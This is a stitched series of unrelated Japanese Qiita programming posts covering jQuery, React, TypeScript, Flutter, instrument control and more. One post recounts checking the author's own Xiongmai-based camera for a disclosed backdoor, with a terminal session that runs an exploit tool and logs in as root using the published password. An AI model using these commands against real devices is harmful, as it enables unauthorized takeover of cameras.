$(function() {
  $('#menu').hover(
    function() {
    //hoverの第一引数としてfadeIn
    $('.text').fadeIn();
    },
    //hoverの第二引数としてfadeOut
    function() {
      $('.text').fadeOut('slow');  //今回はslow
  }
  );
  
});
```

```index.html
<!DOCTYPE html>
<html lang="ja">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>仮サイトをJQueryで作成</title>
  <link rel="stylesheet" href="css/styles.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
</head>
<body>
  <div id ="menu">
    <h1 class="title">仮サイトを作成</h1>
    <p class="text">
      今回はJQueryで仮サイトを作成します。
    </p>
  </div>

  <script src="main.js"></script>
</body>
</html>
```

```styles.css
.text {
  display: none;
}
```
＜検証ツールで確認＞
hover時
<img width="1377" alt="スクリーンショット 2020-02-08 19.20.08.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/547910/6dd062c7-2749-8eb9-f8ba-e8dae3060d41.png">

hover無し
<img width="1357" alt="スクリーンショット 2020-02-08 19.21.06.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/547910/0121b13d-fa6c-ac11-2cbe-aa2a31db2396.png">

##続→ [jQuery 仮サイト作成のbase](https://qiita.com/grca3/items/98e4760e5cab663bceca)
ディープラーニング備忘録

# はじめに

## 目的

@daikikatsuragawa は機械学習に興味があり、学習しています。しかし、何故かディープラーニングを避けていました。この記事は、そのような著者に強制的にディープラーニングを学習させることを目的としています。

## ※断り

- 本記事は筆者の学びに応じて更新されます📖
- 本記事に誤りが存在した場合、積極的に編集リクエストをしてください🙇‍♂️

# ディープラーニングとは

## 概要

人間の神経細胞（ニューロン）の構造を模倣するニューラルネットワークを何層も使い、機械がデータから自動的に学習する方法である。 深層学習、ディープニューラルネットワーク、DNNとも呼ばれる。学習の過程は、大きく入力層、隠れ層（中間層）、出力層の3つに分かれる。計算処理の主流は、並列処理に特化した「GPU」（Graphics Processing Unit）を使用することです。

## ３つの層

### 入力層（input layer）

データが入ってくる部分。

### 隠れ層（hidden layers）

この層が多いほど複雑で正確な判断が可能。

### 出力層（output layer)

判断した結果を出力する部分。

## 種類

### 1. 畳み込みネットワーク

画像認識に適した手法。

### 2. 再起型ニューラルネットワーク

時系列情報に適した手法。

### 3. オートエンコーダ

データを抽象化する手法（次元削減）。

### 4. 敵対的生成ネットワーク

画像分野で良い結果を持つ手法。以下、2つのネットワークで構成される。

- ジェネレータ：入力値から画像データを出力。
- ディスクリミネータ：ジェネレータから出力された画像データを受け取り、本物か偽物かを予測。

## 課題

### ブラックボックス問題

ディープラーニングで出力された結果の経路および経緯など根拠を知り得ないという問題がある。
畳み込みニューラルネットワーク（CNN)の説明が、頑張りすぎでは？（MathWorksのdeepDreamImageとかも）

#目的
畳み込みニューラルネットワークの説明をされているサイトが沢山ある。
勉強になる。
説明の仕方として、CNNの層毎の役割を説明する方法がとられていることがよくある。

しかも、その説明を通常の１枚の画像（すなわち、縦aaa X 横bbbのカラー画像）で表現
しようされている。

間違いなく有用だと思うし、わかったような気になるが、
**一方、少し、懐疑的な見方も並行してすべきかと思う。**

問題だと思うのは、理解したがっている人の認識が、提示された表示結果から過剰に情報を
読み取ってしまうことがあるのではないか？ということ
どこまでいっても、**CNNの認識**を**人に認識させる**ことを、直接的に実施しようと
すると、無理が集中する気がする。

今回は、
**MathWorksのdeepDreamImageとかも**
という副題。

（なんか、記事が不躾な感じしますね。。。。すみません。）

#　分析結果表示の例

MathWorksのサイトで、
**deepDreamImage**というのを使って、
なんと、
**全結合層**の結果を可視化している。

以下は、"hen"を可視化した例として提示されているものである。

出典：AlexNet を使用した Deep Dream イメージ
(https://jp.mathworks.com/help/deeplearning/examples/deep-dream-images-using-alexnet.html)

<img width="335" alt="hen.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/342207/99e5ff44-0142-24d2-4e01-a4a41614415f.png">

##　この図の解釈
この図をみての、**ワタシ**の解釈は、以下のような感じになる。

- 【理解１】この図に何匹か（何ケースか）の'hen'が、存在し、
おそらく、CNNは、こんな感じでいくつかのパターンで、'hen'を理解しているのだろう。
- 【理解２】'hen'の場所とかは、あくまで、この分析の表示の仕方都合で、右下にいようが、左上にいようが意味はない。重なり気味のものも、何か意味があるのだろうが、人が解釈できる意味はない。

## この図に対する意見
示していることがうまく理解できない以上、ちょっと、価値が怪しいと思う。
むしろ、
もっと、
**バラバラで、複数の画像を提示**するとか、多くのパターンで'hen'と認識されるチャンスがある
ことを示しているのであれば、場合によっては、**変動する動画（アニメ？）**で表示するとかでも
いいと思う。
１枚の画像（すなわち、縦aaa X 横bbbのカラー画像）で、表示する意味が不明確。
もしくは、
**共有されたわかりやすい図示ルールが共有されるのであれば**、それは、それで、情報としては
利用できる気もする。

# 図の雰囲気をマネしてみると

以下の図は、単に、PowerPointの３Dの図を並べただけですが、
イルカの場合、全結合は、以下のようにイルカを把握しているとかになるのでしょうか？


<img width="335" alt="iruka.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/342207/554480d3-3498-41d4-731b-24a835084ec2.png">

**このような図をみて、
次のアクションを考えるのは、ちょっと、厳しい気がします。**
例）ちょっと、後ろ向きが弱いか？？？右向きも弱そうとか。。。

# (余談）月にウサギが、DeepDreamImageにhenが。。。

CNNの最後のほうにそれらしい画像がみえることに、深い意味はない感じがいつもしてしまう。
どう見えるかには、意味があると思うが、
より、それらしいことには、意味がないと思う。
それが、人の目にどうみえるかは、特に。
例えると、月にウサギがみえる話と近い気が。

引用元：https://ja.wikipedia.org/wiki/月の兎


![270px-Rabbit_in_the_moon_standing_by_pot.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/342207/ced649b4-6f60-2e5b-1894-17fa8225492f.png)

言いたいのは、CNNの説明性とかにそのような画像を使うのは、適当じゃないような気がするということ。どちらかというと、突き放した感じ、それらしくは見えないサンプルを強調するほうが、長い目では良い気がします。



#まとめ

畳み込みニューラルネットワークの説明が、やや、うまくいっていないというか、少し、意味を付与しすぎな気がするので、それを示した。
単に、素人が、ストンと理解しようとして、理解できない不満を示しているだけであることは認識していますが。

コメントなどあれば、お願いします。:candy:


#関連（本人）

##本件と関係ある関連（本人）
[畳み込みニューラルネットワーク（CNN)の説明が煽りすぎでは？（1層目ぐらいしか成功していないのでは？）](https://qiita.com/enoughspacefor/items/02dc8d556b9db65d4ee6)

[全22行のコードでGradCAM。tf_explainは、使い易いかも、お薦め！](https://qiita.com/enoughspacefor/items/0f4568ecec4f5277cf37)

##本件とあまり関係がない件（本人）
[良書「ゼロから作るDeep Learning -- Pythonで学ぶディープラーニングの理論と実装」を読む](https://qiita.com/enoughspacefor/items/d545b23bd64d285647de)
:smile:[Grad-CAMで、湖畔と谷とマッシュドポテト、構成と質感認識、VGG16の。](https://qiita.com/enoughspacefor/items/16cd85911017fb994138)
React Context API with Hooks をご機嫌に使うためのライブラリ( tiny-context )を作った

React Context API with Hooks をご機嫌に使うための [tiny-context](https://github.com/benishouga/tiny-context) というライブラリを作ったので紹介します。

## 背景

ちゃかちゃかと State とそれを操作する Action を定義したいけど、 Redux を使うのはちょっと腰が重い・・。
React Context API が Hooks で使えるようになってご機嫌な感じ。だけど Action を合わせて持たせようとすると微妙にハマりポイント多い・・。
React Context API with Hooks に近い感覚で State と Action のセットをお気軽にコンテキストに詰め込めるライブラリを作ってみよう・・・という感じで作りました。

## 利用イメージ
（少しライブラリアップデートしたのでこの記事もあわせて更新）

初めに管理したい `State` の型を定義します。

```tsx
type CounterState = { count: number };
```

ライブラリが提供する `createTinyContext` を呼び出します。
先ほど定義した `State` を型引数として指定した上で、それを操作する処理をオブジェクトとして引数に渡します。
定義する action の各メソッドは 第1引数 および 戻り値 が `State` となる形で定義する必要があります。
カウンタアプリな例だと以下の感じです。

```tsx
import { createTinyContext } from 'tiny-context';

const { Provider, useContext } = createTinyContext<CounterState>().actions({
  increment: (state, amount) => ({ count: state.count + amount })
});
```

これで `Provider` と、 `useContext` の Hooks が取得できます。これらは通常の Context API とほぼ同じ使用感です。

Consumerでは `useContext()` で `state` と `actions` を内包したオブジェクトを取得し使用します。 `actions` は先に actions メソッドに指定した実装のうち、第1引数が取り除かれた function となっています。

具体的には以下の感じです。 

```tsx
const Buttons = () => {
  const { actions: { increment } } = useContext();
  return <button onClick={() => increment(1)}>+</button>;
};

const Display = () => {
  const { state: { count } } = useContext();
  return <span>{count}</span>;
};
```

`Provider` も React Context API と同じで、以下の感じで利用できます。

```tsx
const CounterApp = () => (
  <Provider value={{ count: 0 }}>
    <Buttons />
    <Display />
  </Provider>
);
```

## 売りなところ

上の利用イメージの通り Context API とほぼ同じ感覚で使えるはず。Context API を使ったことある方であれば理解しやすいかと思います。
Action は `State` を引数にとり `State` 返すという形で実装するのでいい感じにテストしやすいはず。
Action は `State` を単純に返すもののほか、 `async` や `async generator` で定義することも可能で、以下の通り状態が何度か切り替わるような `Action` もお手軽に作れます。 redux-saga のような使い方ができるはず。。

```ts
class ActionsImpl implements InternalActions<State, Actions> {
  setLock(state: State, lock: boolean) {
    return { ...state, lock };
  }
  async *increment(state: State) { // Async Generator
    state = yield this.setLock(state, true);

    await wait(); // network delays...
    state = yield { ...state, count: state.count + 1 };

    return this.setLock(state, false);
  }
}
```

## 利用上の注意点

同一コンテキスト上の Aciton はとにかくシーケンシャルに実行されます。並行で何か処理したいという要件がある場合は Action の中でとじるように処理するか、Action の外で制御する必要があるかと思います。

fetch の非同期処理が進んでる途中でのキャンセルは AbortSignal を引数に渡すことで行ってください。 ([Example](https://benishouga.github.io/tiny-context/))

## 最後に

この記事を見て 興味湧いた！応援したい！ という方いましたら Github でスターいただけると励みになります。
今回初めて npm で自作ライブラリ公開したので、変なところ見つけたら指摘いただけたらと思います。
Gigazineさんの「中国製ネットワークカメラに管理者権限を奪取できるバックドアの存在が報告される」を見て慌ててしまったでござる

はじめに
---

先日防犯監視用に360度見渡せる電球型ネットワークカメラを購入した。中国製だが、高機能で激安なので、とても満足していた。
だが「[Gigazine - 中国製ネットワークカメラに管理者権限を奪取できるバックドアの存在が報告された](https://gigazine.net/news/20200207-xiongmai-backdoor/)」を見て衝撃が走った。
**中国の企業であるXiongmai製のファームウェアを搭載した一部デバイスが対象**とのこと。
気になったので念の為、調べてみることにした。

参考
---

- [GitHub - tothi/pwn-hisilicon-dvr](https://github.com/tothi/pwn-hisilicon-dvr)
　バックドアを突くことができるプログラム
- [Full disclosure: 0day vulnerability (backdoor) in firmware for HiSilicon-based DVRs, NVRs and IP cameras](https://habr.com/en/post/486856/)
　rootのパスワードが書かれている

いざチェック
---

```shell_session
$ git clone https://github.com/Snawoot/hisilicon-dvr-telnet.git
$ cd hisilicon-dvr-telnet
$ make

$ telnet 192.168.3.111
Trying 192.168.3.111...
telnet: Unable to connect to remote host: Connection refused

$ ./hs-dvr-telnet 192.168.3.111 2wj9fsa2
192.168.3.111 2wj9fsa2
Sent OpenTelnet:OpenOnce command.
randNum:94876408
challenge=948764082wj9fsa2
verify:OK
Open:OK

$ telnet 192.168.3.111
Trying 192.168.3.111...
Connected to 192.168.3.111.
Escape character is '^]'.
(none) login: root
Password: xmhdipc
~ #
```

やばい、rootでログインできてしまった
---

ちなみにネットワークカメラの電源を一旦切断すると、rootで入れなくなるが、同様の手順でまたrootでログインできるようになる。

ちなみに
---
その電球型ネットワークカメラのセットアップに、[iCSee](https://play.google.com/store/apps/details?id=com.xm.csee&hl=ja)というアプリを使うのだが、レビューに「**自分たちが操作してないのに、カメラが勝手に動く 盗撮されてる**」と書かれている。

**大丈夫なのか。**

今夜はやけ酒だ
--

下戸だけど。複数台買ってしまったんだが。なぜ未来の自分が現れなかった？
python構文メモ

#pythonメモ
python入門することになったのでよく構文を忘れるのでここにメモしておく。
基礎の基礎から。


###for文

```
for 変数　in オブジェクト:
    処理
```

###if文

```
if 条件式:
    trueの時の処理
elif 条件式:
　　elifの時の処理
else:
　　ifとelif以外の時の処理
```

###リスト

```
list = ["値1","値２","値３"]
```

###ディクショナリ

```

dictionary = {"キー":"値","キー":"値","キー":"値"}
```

###多次元リスト

```
list2 = [["値1","値2","値3"],["値4","値5","値6"]]
```


###print関数出力の文末で改行しないためのオプション引数

```
end=""
```

とりあえず完成しなそうなので今回はここら辺にして新しいの使ったら後から更新。
Flutter クロスプラットフォームの最新サポート状況

# はじめに

Flutterのクロスプラットフォームのサポート状況をまとめています。
変化があれば随時更新予定です。

# サポート状況 (2021/3/4 時点の情報)

Flutter 2.0 以降、ベータ版もStableチャネルで利用できます！

|プラットフォーム|サポート状況|対応バージョン|発表イベント等のリンク|
|---|---|---|---|
|Android|正式サポート済|v1.0.0以降|[Flutter Live 18](https://developers.google.com/events/flutter-live/)|
|iOS|正式サポート済|v1.0.0以降|[Flutter Live 18](https://developers.google.com/events/flutter-live/)|
|Web|正式版|v2.0.0以降|[Flutter Interact '19](https://youtu.be/ukLBCRBlIkk?t=1394) / [Flutter Engage (2021)](https://youtu.be/zSbsIiluixw?t=1019)|
|macOS|ベータ版|v2.0.0以降はstableチャンネルでも利用可|[Flutter Live 18](https://youtu.be/D-o4BqJxmJE?t=564)|
|Linux|ベータ版|v2.0.0以降はstableチャンネルでも利用可|[Canonical enables Linux desktop app support with Flutter](https://ubuntu.com/blog/canonical-enables-linux-desktop-app-support-with-flutter) / [Flutter Engage (2021)](https://youtu.be/zSbsIiluixw?t=1631)|
|Windows|ベータ版|v2.0.0以降はstableチャンネルでも利用可|同上|

## ベータ/アルファ/Preview版の定義

### ベータ版

Flutter SDKとしてはある程度機能がFixし、開発者が使い始めるレベルに到達したことを意味しています。

### アルファ版

基本構成が大きく変わる可能性は低いが、仕様＆実装が今後も変わる可能性が残っており、プロダクトへの適用はまだ難しい状況です。
ただ、ある程度動くレベルにはなっているため、お試しで利用可能です。

### Preview版

完全なお試し＆試験レベルで、今後も大きく仕様や実装を変える可能性が残っている状況です。
まだまだTODOが多く残っており、とりあえず動くというレベル感ですが、
一般的にはユーザーに試用してもらうことで新たな知見やフィードバックを得るなどの目的の段階です。

## 各プラットフォームの開発状況

### macOS (ベータ版→正式版)
https://github.com/flutter/flutter/projects/184

### Linux (ベータ版→正式版)
https://github.com/flutter/flutter/projects/186

### Windows (ベータ版→正式版)
https://github.com/flutter/flutter/projects/183

# Flutter SDK リリース履歴

https://flutter.dev/docs/development/tools/sdk/releases
【Salesforce】レコード画面からフローアクションを実行した時にレコードIdを取得する方法

## いきさつ（愚痴）
レコードの1つを開いて、ヘッダー？部分にこんなボタンあるじゃないですか。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/430401/c00e835f-41e0-5608-dbcc-752727f990c5.png)

ここにフローのアクションボタンを入れたんです。

でもフローを見ても、実行したときに開いていたレコードを取得する手段が見当たらないんです。

Record変数でもできるのかなって思ってたのに無いし、Flowにそれっぽいのも入ってないし。

もっと分かりやすくして欲しいなぁ･･･

で、頑張って調べたら方法ありましたよって事です。

同じ悩みにぶつかった人の調査時間が削減できたらいいな。

## 解決策
ここにさりげなく書いてあった
⇒[フローアクションの考慮事項
](https://help.salesforce.com/articleView?id=flow_actions_considerations.htm&type=5)

つまり下記の変数を作ると勝手に入れておいてくれるようです。
`API参照名：recordId
データ型：テキスト`

これだけの事を見つけるのに1時間近く無駄にしました…

皆さんお気を付けてくださいね。
Never avoid never

[少し前に、`unknown`について掘り下げてみました](https://qiita.com/jkr_2255/items/1ac8b045bfdaabfaee53)が、今度は`never`型について考えてみます。

## よく見かける`never`の使い道

一般に、`never`と明記する場所としては、以下のようなものがあります。

* `throw`する、無限ループするなどで、絶対に制御を戻さない関数の返り値
* Conditional Typeと併用して、条件に合わないときには`never`型として型エラーを出す、あるいはUnion Typeから事実上抹消することで、条件に合わない型を排除する

これを見た限り、`never`型の値を作る方法がないように見えます。そして、TypeScriptの型システムを正しく使っている限り、`never`型の値が出現するコードを**実行**することはできません[^1]。

## 値を「作って」みる

もちろん実行はできないのですが、TypeScriptのソースコード上でよければ`never`型の値をやりとりすることは可能で、**コンパイル**もできます。

```typescript
// 必ずthrowするので、戻らない（=neverを返す）関数
function returnNever(): never{
    throw null;
}

// 代入はコンパイルできる！
// （なお、タイプヒントなしでもneverValueはnever型に型推論される）
const neverValue: never = returnNever();
```

`number`を返す関数の返り値を`number`型の変数に代入できるのとまったく同様に、`never`型を返す関数の「返り値」を`never`型の変数に代入することができます。

せっかく値が得られたので、さらに遊んでみましょう。

```typescript
// never型の「値」は、どんな型の変数にも代入できる
const num: number = neverValue;
const str: string = neverValue;

// 逆に、never型の変数に、他の型の値を入れることはできない
// 以下の式はいずれもコンパイルエラー
const invalid1: never = '';
// nullやvoidもneverではない
const invalid2: never = null;
const invalid3: never = ((): void => {})();
```

一見、型安全性ってなんなのという気分になるかもしれませんが、通常の型の値を`never`型へ変換する方法はありませんので、`never`型の値を存在させるには絶対に通らないコードパスで「生成」するしかありません。

ということで、`never`型の値を使って行う処理[^let_never]は、何をどれだけ進めようとも全体が到達不能ということになります。ソースコード上は`never`型の値を他の型の変数に代入できますが、実際には**実行されない**以上、動作上の破綻はきたしません。

## ボトム型としての`never`

「`never`型の値をどんな型の変数にでも代入できる」ということは、「`never`型は任意の型の派生型として扱える」ということになります。このような、「任意の型に対する派生型」として働く型を、**ボトム型**といいます。この前取り上げた`unknown`がトップ型であるのと、対照的になっています。

`never`型がボトム型であることをわかりやすく示す例として、`never[]`という型があります。もちろん、`[never値, never値, ...]`なんていう配列は、ソースコード上では作れたところで実行不能で使い道もないのですが、1つだけ`never[]`型の配列を作って実行可能な方法があります。

それは、**空配列**（要素が0個の配列）です。何かを作るために空配列を作って、うっかり型推論で`never[]`型にしてしまった人もいるかと思います。

```typescript
const emptyArray: never[] = [];

const stringArray: string[] = emptyArray;
const numberArray: number[] = emptyArray;
```

空であれば`string[]`も`number[]`も同じ`[]`で書けますし、`never[]`の値を両方に代入することが可能です（ここで`stringArray.push('123')`なんてことを行ってしまうと、`emptyArray`や`numberArray`から見れば型に合わない値が入ってしまいますが、それを防ぐすべはあるのか少し気になります）。

ここで見るように、`never[]`には、「値が存在しない」配列と「どんな型としてでも使える」配列という、2つの見方をできますが、後者がボトム型としての`never`の側面です。

さらに、この`never[]`を、関数の型定義に応用することも可能です。`T extends (...args: never[]) => void`のようにすると、「`T`は何かしらの引数を取って、返り値が`void`の関数型」ということになります[^tuple]。従来`T extends (...args: any) => any`と書いていた関数用の型宣言も、`T extends (...args: never[]) => unknown`とすることで、`any`を排除して実装可能です。


[^1]: 以下では、`any`やキャストを使う、JavaScriptとのやり取りの際に不適切な宣言を付けるなど、TypeScriptの型システムから外れたところで策を弄するようなことはないものとして話を進めます。
[^let_never]: `let foo: never;`のようにすれば、通過するコードパスに`never`型の**変数**を導入することは可能です。ただし、そのまま`foo`を使おうとすれば変数未初期化でコンパイルエラーが出ますし、初期化や代入をしようとすれば、結局は別な形で`never`型の**値**を用意する（=到達不能コードの結果を得る）必要がありますので、「`never`型の値を得た状態で制御が進む」状況は作れません。
[^tuple]: タプル型に`[]`は代入できませんので、スッキリしなさは残ります。
B2902 SMU + 82357Bによる自動測定

Keysight B2902 SMU + Keysight 82357B USB-GPIBを使って自動測定するためのメモです。

# USB-GPIBインターフェースの接続
ここではKeysight純正のUSB-GPIBインターフェースをVISA (Virtual Instrument Software Architecture)でつなぐ。VISAは測定器制御のためのソフトウェア共通規格。

1. KeySight USB-GPIBインターフェース 82357B接続し，PCのUSB端子につなぐ。「不明なデバイス」として認識される。[ドライバーの更新]で探しても出てこない。
2. 82357B, ドライバで検索すると，2007年版のドライバ(XP, 2000用)が出てくる。これは使わない。（ことが後でわかった）
3. Agilent IO Libraries Suite 14.2が必要なので，これを検索してダウンロード。実際にはIO Library Suite 2018というもの。ファイル名 IOLibSuite_18_1_24715.exe。
4. IO Libraries Suiteを実行してインストール。Visual C++ 2012, 2015, を入れられてしまう。これを入れると，82357Bが不明なデバイスでなくなりWindowsに認識される。
5. pip install pyvisa [Enter] でPythonのVISAコントロールをインストールする。
6. B2902の設定を行なう。System>>Info>>Date/Time, System>>PLC
7. I/O>>GPIBでAddressが23であることを確認。”GPIB0::23::INSTR”
8. pythonで下記を実行する。

```
Python 3.6.2 (v3.6.2:5fd33b5, Jul  8 2017, 04:14:34) [MSC v.1900 32 bit (Intel)] on win32

Type "help", "copyright", "credits" or "license" for more information.
>>> import visa
>>> rm = visa.ResourceManager()
>>> rm.list_resources()
('GPIB0::23::INSTR',)
>>> inst = rm.open_resource('GPIB0::23::INSTR')
>>> print(inst.query("*IDN?"))
Keysight Technologies,B2902A,MY51143336,3.1.1645.5820

>>>
```
# コマンドの要点
* 60Hz電源設定 “:SYST:LFR 60”
* CH1, 2の出力をON/OFFする “:OUTP1 ON”, “:OUTP2 ON”
* SOUR, SENS, OUTPはその後にチャネル番号を続ける。
* MEAS?はMEAS? (@1,2) とチャンネルリストを続ける。

# スポット測定
```
inst.write("*RST")
inst.write("*CLS")
inst.write(":sour1:func:mode volt")
inst.write(":sour2:func:mode curr")
inst.write(":sens1:curr:rang:auto on")
inst.write(":sens2.volt:rang:auto on")
inst.write("outp1 on")
inst.write("outp2 on")
inst.write(":sour1:volt 20")

inst.query("meas:curr? (@1)").strip()
inst.query("meas:volt? (@2)").strip()
```

# 階段測定
```
npoint = 20
inst.write("*RST")
inst.write(":sour:func:mode volt")   
inst.write(":sour:volt:mode swe")
inst.write(":sour:volt:start 0")
inst.write(":sour:volt:stop 1")
inst.write(":sour:volt:poin {}".format(npoint)
inst.write(":sens:func \"curr\"")
inst.write(":sens:curr:nplc 1")
inst.write(":sens:curr:prot 0.1")
inst.write(":trig:sour aint")
inst.write(":trig:coun {}".format(npoint)
inst.write(":outp on")
ans = inst.query(":fetc:arr:curr? (@1)").strip().split(,)
```

# 終了判定
```
while (True):
    if int(inst.query(":STAT:OPER:COND?")) & 18 == 18:
        break
```
Ch2で行っていたら，18のところが1152になる。
javascriptの.submitでif文を使う時のエラー

```js
$('#form').submit(function() {
        
        // form1が空のとき、エラー文を表示してください
        if ( $('.form1').val() === '') {
            $('.error-message-1').text('入力してーーー');
        } else {
            $('.error-message-1').text('');
        }

        return false;
      });
```

入力してーーー！と表示されない時のエラー。

if ( $('.form1').val() === '')の、クラスの.form1が、
htmlの 

```html
<input class="form1" type="text" placeholder="山田 太郎" name="userName">
```
input内のクラスに名付けないと反応しない。
【Vue.js】一部オプションを指定済のコンポーネント作成

例えば、Vuetifyによるボタンのスタイルを、メインの動線（OKなど）とそれ以外（キャンセルなど）で別々にしたいとき、次のようなコードを至るところに入れ込むことになってしまう。

```vue
<!-- メイン動線のボタン：背景色と波紋色を指定 -->
<v-btn color="primary" :ripple="{ class: 'cyan--text text--lighten-1' }">OK</v-btn>
```

これでは見通しが悪い上、後からスタイルを変更するのも大変である。

#解決策
コンポーネントの一部オプションを書き換えて描画をおこなう関数型コンポーネントを作成する。

```vue:MainBtn.vue
<script>
export default {
  name: 'MainBtn',
  functional: true,
  render(h, { data, children }) {
    data.props = Object.assign({
      color: 'primary',
      ripple: { class: 'cyan--text text--lighten-1' }
    }, data.props || {});

    return h('v-btn', data, children);
  },
};
</script>
```

##使い方
登録すればテンプレートなどに記述できる。

```vue
<main-btn>スタイルを変更したボタン</main-btn>
<v-btn>そのままのボタン</v-btn>
```

propsやeventsもそのまま使うことができる。

```vue
<main-btn @click="onClickOk" elevation="24">OK</main-btn>
<v-btn @click="onClickCancel" elevation="24">CANCEL</v-btn>
```
箕輪厚介　岡山講演会　2020/02/08 倉敷市民会館

### 「さよならおっさん、さよなら若造。〜世代をつなぐ新しい生き方〜」
モデレータ：ワタナベダイスケ氏

年配者　固定観念
若者　やりたいことばっか言う

箕輪「そんなこと考えるの？まじめだねえ」
自分の立場について
「SNSが作り出した虚像　そういう立場を演じざるを得ない」

#### おっさんについて

箕輪さんの周りの上位の人の特徴
柔軟、若い

社内の一部の人にはいわゆるおっさんもいる
その人が悪いのではなく、環境や役割のせい
自分で決裁したりする立場にないと思考停止する

一方で、、、
おっさん思考はオンラインサロンの学生とかでもいる

官僚チックな
リスクを犯したくない

年齢ではなくマインドの問題
自分でハンドルを持とうとする決意をしているか
恥ずかしいと思う経験をしているか

代表例　ホリエモン

「昨日と同じ今日でいいと思うか」
「失敗してもいいからチャレンジしようと思うか」
人に対しては「やっちゃいなよ」とアドバイスする
「自己肯定感が重要」　過小評価しすぎ
「できると思っちゃう」
> 「自己肯定感」「昨日の自分よりもアップデート」「根拠のない自信」のくだりはROLANDとも通ずるものあり

どうやってできると思うのか
究極失敗が怖くない　ネタになることも経験してるから
ダサい、批判が怖くない
自分が好きで正しいと思って行動してるから

迷惑かけてるとは思わない？　いい意味で他責にする
最善を尽くしたものに対して個人ではなく組織の責任じゃね？

日本　同調圧力が強い傾向　がちょっとおかしいのでは？
日本「まわりがちゃんとしてるからあなたもやりなさい」
インド「周りを許しなさい」
不確実性の高い、多様性の時代では後者のマインドのほうが強いのでは

許しながら、失敗しながら、反省して改善していくのが良いのでは

どっちかに寄ったメッセージが必要

「心が若い」

####　若造について
やりたいことをチャレンジしときゃいいものでもない

前田裕二　must can will
できることがたくさんある人は　掛け算の作用でヒットする
canを作ることが重要
これを飛ばしてwill だけでもだめ

can の見つけ方
通信簿に書かれたことをぜんぶかく
ほめられたこと　モチベーションが上がる、のびやすい

mustを軽視するな
mustは雑用とか、、、忘れちゃう
けど振り返るとやってた、やり続けてた

組織、環境としての最低限　（ここは賛否両論あると思うが。。。）
mustを続ける中でなにかcanになる要素が出てくることもある

商材としては売れる文句にならないけど、
（地に足のついた発言で納得力あり）


####　世代間をつなぐ生き方
「若者が話し聞きたいと思われるような生き方をする」ことを意識する
「分断はしちゃうものなんじゃないか」
ex 渋谷のyoutuber
箕輪さん「それでいい派」

人を傷つけない限りは
それぞれの尖った価値観の集合、世界があったほうがよいのでは？
多様性を勧めすぎると一色になる

目的を達成するために「適材適所」で役割をもたせた世界になると良い
これからのリーダは、役割を作ることが求められる時代になる

自分が役立っているという役割を全うしているという自覚が持てること
全員優秀である必要はないんじゃない？？

コミュニティ、チームを作る上では「まず掃除からしよう」が効果がある
掃除は誰でもできる　役割を与えることができる
一体感を醸成することができる

フォロワーを増やすには（バリューを上げるには）
他社への想像力を持って、相手の役に立つことを
一日3人×一年　つづける
変に難しいスキルが必要なわけではない

###　質疑応答
１
働きアリの法則
全員を同じように活性化させようと思ってはいけない
役割、アクティブさに応じた役割設定が必要

２
自分の器の大きさを何と認識しているか
かっこいいと思うのは動じない人
修羅場を経験している
「大丈夫だ」と入れる範囲を増やすこと

自信の役割
「法律で決まっているわけでもないのに、こうしなきゃいけない」
というものを「こうじゃないんじゃね？」と見せていくこと
固定観念にとらわれると新しい発送が生まれない

３
修羅場において
もう一人の自分がどっか達観して「大丈夫だな、どうにかなる、いつかはネタになるんじゃね？」と考えてる
メタ認知　RPGで自分を操作している感覚
その場を楽しむもう一人の自分がいる感覚で

４
ユーチューブ市場について
数字を上げるには？？
ブログと同じ　ユーチューブが手軽なツールになっているだけ

早い人→専門家→芸能人
→残った人　タレント、専門知識

本質を意識するだけ
興味を引くこと、ファンを作れること

次のプラットフォームがきても、モデルは同じだと思う
テクニックは「死ぬほどやるしかない」
「正解は毎週変わるからたくさん試すしかない」
「ホリエモンは続けてきて成功した」それより努力できるか？？

美味しい時期は批判されているとき
次のブルーオーシャンをさがす

５　面接
どこまで自分の正直さを売り出すか？
相手がいることだから、相手の求めることにマッチすることを意識するべき
「自分に正直」は本質的なこと

####　個人的所感
箕輪さん意外と真人間
本質として自分がどうしたいかに正直になることを意識されているとの印象
他の人の意見と通ずるところ多々あり　伏線回収感



###
ドロップダウンメニューの作り方

webサイトなどでよく見るドロップダウンメニューの作り方を自身の備忘のために記録します。
今回は、jQueryを用いて実装します。

まずはHTMLです。jQuery及びJavaScriptもここで読み込んでおきます。


```html:index.html
<body>
 <div id="main">
      <ul class="menu">
        <li>Menu1</li>
        <li>
          Menu2
          <ul class="sub">
            <li><a href="#">Menu2-1</a></li>
            <li><a href="#">Menu2-2</a></li>
          </ul>
        </li>
        <li>
          Menu3
          <ul class="sub">
            <li><a href="#">Menu3-1</a></li>
            <li><a href="#">Menu3-2</a></li>
            <li><a href="#">Menu3-3</a></li>
          </ul>
        </li>
      </ul>
    </div>
    <script
      src="https://code.jquery.com/jquery-3.4.1.min.js"
      integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo="
      crossorigin="anonymous"
    ></script>
    <script src="app.js"></script>

</body>
```

次にスタイルを整えます。

```css:style.css
#main {
  margin: 100px auto;
}

ul {
  list-style-type: none;
  margin: 0;
  padding: 0;
  color: #fff;
}

ul.menu li {
  float: left;
  position: relative;
  margin: 0 0 0 1px;
  padding: 5px;
  width: 200px;
  background: #555555;
  display: block;
}

ul.sub {
  display: none;
  position: absolute;
  margin-left: -6px;
  padding: 0;
}

ul.sub li a {
  padding: 5px 10px;
  margin-left: -5px;
  margin-right: -5px;
  margin-bottom: -5px;
  display: block;
  color: #fff;
}

ul.sub li a:hover {
  background: #ff9900;
  text-decoration: none;
}
```

そしてこれに対して、JavaScriptを実装していきます。


```javascript:app.js
$(function() {
  $("ul.menu li").hover(
    function() {
      $("ul.sub:not(:animated)", this).slideDown();
    },
    function() {
      $("ul.sub", this).slideUp();
    }
  );
});
```



これで完成です。

```javascript:app.js
$(function(){
  //関数など
}};
```
このコードを書くことで、DOMの処理が終わってから中の関数などが読み込まれるようになります。
基本的に書くようにしましょう。

また、hoverの扱いに関しては、


